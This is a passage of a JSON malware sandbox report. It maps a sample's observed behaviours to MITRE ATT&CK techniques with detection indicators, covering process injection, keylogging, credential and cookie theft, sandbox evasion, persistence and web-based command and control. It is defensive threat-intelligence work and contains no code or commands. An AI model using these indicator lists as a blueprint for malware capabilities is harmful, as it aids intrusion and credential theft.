Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Creates multiple processes"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Drops a license file"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Able to retrieve file and directory information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Contacts multiple hosts"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Downloads archive files from web server"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"YARA signature match - AES encryption"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"suspicious","value":"The input sample dropped/contains a certificate file"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to schedule tasks using COM objects"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"malicious","value":"Execute Python scripts with dropped interpreter (Python execution from different path)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to query service configuration on system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"},{"type":"informative","value":"Imports network management related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"Internet Connection 